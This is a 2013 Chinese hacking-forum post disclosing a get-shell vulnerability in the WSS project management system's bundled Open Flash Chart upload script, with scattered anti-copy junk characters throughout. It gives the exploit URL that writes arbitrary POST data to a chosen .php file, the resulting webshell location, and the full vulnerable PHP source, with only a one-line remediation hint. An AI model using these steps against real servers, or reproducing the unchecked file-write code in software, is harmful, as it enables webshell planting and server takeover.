找回密码
 立即注册
查看: 2582|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存9 e, P" q3 v5 K0 e2 v3 N$ [
漏洞文件/chart/php-ofc-library/ofc_upload_image.php& V: c+ Q- ?- u* ^6 y  Z

1 x. @2 F5 F' {3 a4 E& [利用:
( ]7 U# t9 m4 O- _2 E3 ~. B- t/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
& k$ c% Q5 T) u# E9 E) n8 _  O% Y. s7 l1 {( T7 E; ^
Post任意数据. |. R' _: @' q( H
保存位置http://localhost/chart/tmp-upload-images/hfy.php3 Q% y- ?7 ~/ ?! r- y- f0 W! q
1 W! j. F+ f. ]3 n4 x
# G8 X# R; ~/ k* s/ g! R6 f
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~" _( ~* J5 R" |9 v7 ?( L

. f  p2 G$ c* M8 m" }# z<?php0 h4 B- G( E( _
3 R& S. w  P6 x
//7 D6 P$ r  X* Y$ I  m' [
// In Open Flash Chart -> save_image debug mode, you& n9 m$ ~& E% ]' P% m& T3 X% N
// will see the 'echo' text in a new window.
, x  r3 A: h. f/ p1 ~& k1 X7 S* N/ c//
$ C6 [# Z0 w; Y/ B. }( G. T& d' j8 ?; r/ J3 n
/*
& G, r) n9 h; {7 c
9 l, X) e5 X. o2 F3 L$ gprint_r( $_GET );
. b5 h) H8 d; q; d0 L4 r' }& l. zprint_r( $_POST );" i8 a" P: D6 T' C  B
print_r( $_FILES );5 q2 ?* A1 t3 B% A! J

; {; ~$ r) d8 J+ \8 _print_r( $GLOBALS );
) |& ~! b* H% Qprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );& r4 Z- `: c" P- x- G" w9 |
: W, G  h# s4 N9 h0 W- J) ]# j8 Q4 o
*/, D6 \. c/ {$ r8 ~" @' S" F
// default path for the image to be stored //
& g1 K5 O/ V) y* {2 J$default_path = '../tmp-upload-images/';
; d9 V$ u% Z* ^, v* u  G; @; O3 A! C! m
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
7 w: }+ U9 _9 R, S0 Z, g( n
' z9 Z# E$ V/ N2 D, u+ h// full path to the saved image including filename //4 }5 G0 v# K# O/ @6 r
$destination = $default_path . basename( $_GET[ 'name' ] ); 8 H* x; V2 ]+ f* s3 J

) w3 K; r4 E. S( S: l* fecho 'Saving your image to: '. $destination;$ q$ v3 |8 O4 U8 U" N7 b. t, P' s
// print_r( $_POST );& O  p6 ^# ~# Q: z8 u
// print_r( $_SERVER );) i% i5 c1 d5 i$ x% x' Q
// echo $HTTP_RAW_POST_DATA;8 m( s% U! H8 d

) W% {) E% k* l" i9 E5 v6 E" A//
# b; u) K3 ], b$ p// POST data is usually string data, but we are passing a RAW .png
: M% z- o& m4 Q( }' w: x  f. Y0 R// so PHP is a bit confused and $_POST is empty. But it has saved
, D& x  \$ e: Q+ g9 ~7 I+ r9 K// the raw bits into $HTTP_RAW_POST_DATA
7 _/ V+ d% |. g//1 K6 g2 `8 D! q7 L

3 ?' M' d3 ]# g( ^+ ]2 v- A$jfh = fopen($destination, 'w') or die("can't open file");4 t. ~3 O) U" r7 S8 |- S" W; o
fwrite($jfh, $HTTP_RAW_POST_DATA);
& e! L0 k( Q- Wfclose($jfh);
, Y; l  Y+ I! U- D, p% V8 \/ W6 }. m& q3 e1 E) s# V8 b( y
//( S0 Z+ p  j/ T1 a; c
// LOOK:
" C# C9 ~$ K* Y1 {//6 L. |) X/ e+ o  H' Q$ ]
exit();$ o2 N( _- a8 s+ ~6 j6 S  q
//
* j! k/ p  }% q# W// PHP5:
+ g6 R  @: y6 M//
& Q+ W2 B# o- }% X$ w4 L7 h
3 i3 x3 s: W* Q% |( D% C5 k" O
+ g6 m5 w4 h1 k// default path for the image to be stored //
8 J( C9 m- q3 E/ S, z+ m' N$default_path = 'tmp-upload-images/';
  x2 }6 @8 T( R' o& T' ?- N$ t
, _9 Q) E( }7 S. yif (!file_exists($default_path)) mkdir($default_path, 0777, true);' l; g# z/ A- |+ V3 }& M

! l0 A. b% s& K. u% c: T" F5 C, g// full path to the saved image including filename //0 f5 z- v& i- Z
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); ( t8 n1 T; V5 r3 _/ u2 ^) D
4 ?% Z) L+ X9 {3 u0 p
// move the image into the specified directory //
: u  f9 n  j4 v2 _1 |3 i' N3 oif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
# j  o" W) e' J4 F) j    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";: M* N2 @- _+ g3 O! A) D
} else {) F" K4 N6 m/ a! e+ B9 K' Q
    echo "FILE UPLOAD FAILED";$ ~6 U$ S; F8 X3 Z
}
9 {0 R6 d* {1 M
0 G1 T1 V; m' j5 b7 Z1 J5 {( b5 j/ w4 o$ R# i( }+ E
?>' d$ m: ^7 Q& f( q5 ?
; q! G* U" u. x3 ]0 R7 Y- ]* `
) C( Q& l% e. m4 ?; {0 Q6 W3 }) W" U
; v, {) v5 w: W0 i  J2 o

$ |1 i: w0 M4 ?; s2 r
+ W& e7 v: m" ^; h# R# y
5 D) F% }' f( X' U0 Y修复方案: " F! W# s, |4 w2 [9 \/ P; ~/ P
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 ; e' t7 d  C6 @1 h- U# k7 n" B: t
- l5 ^2 l( K( q/ E0 S- v! e) G

1 M/ m3 P4 W/ x6 h. z
+ [3 I2 M$ x! ]( z" h
9 A8 n2 O# t# E+ P: E- @& a# g

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表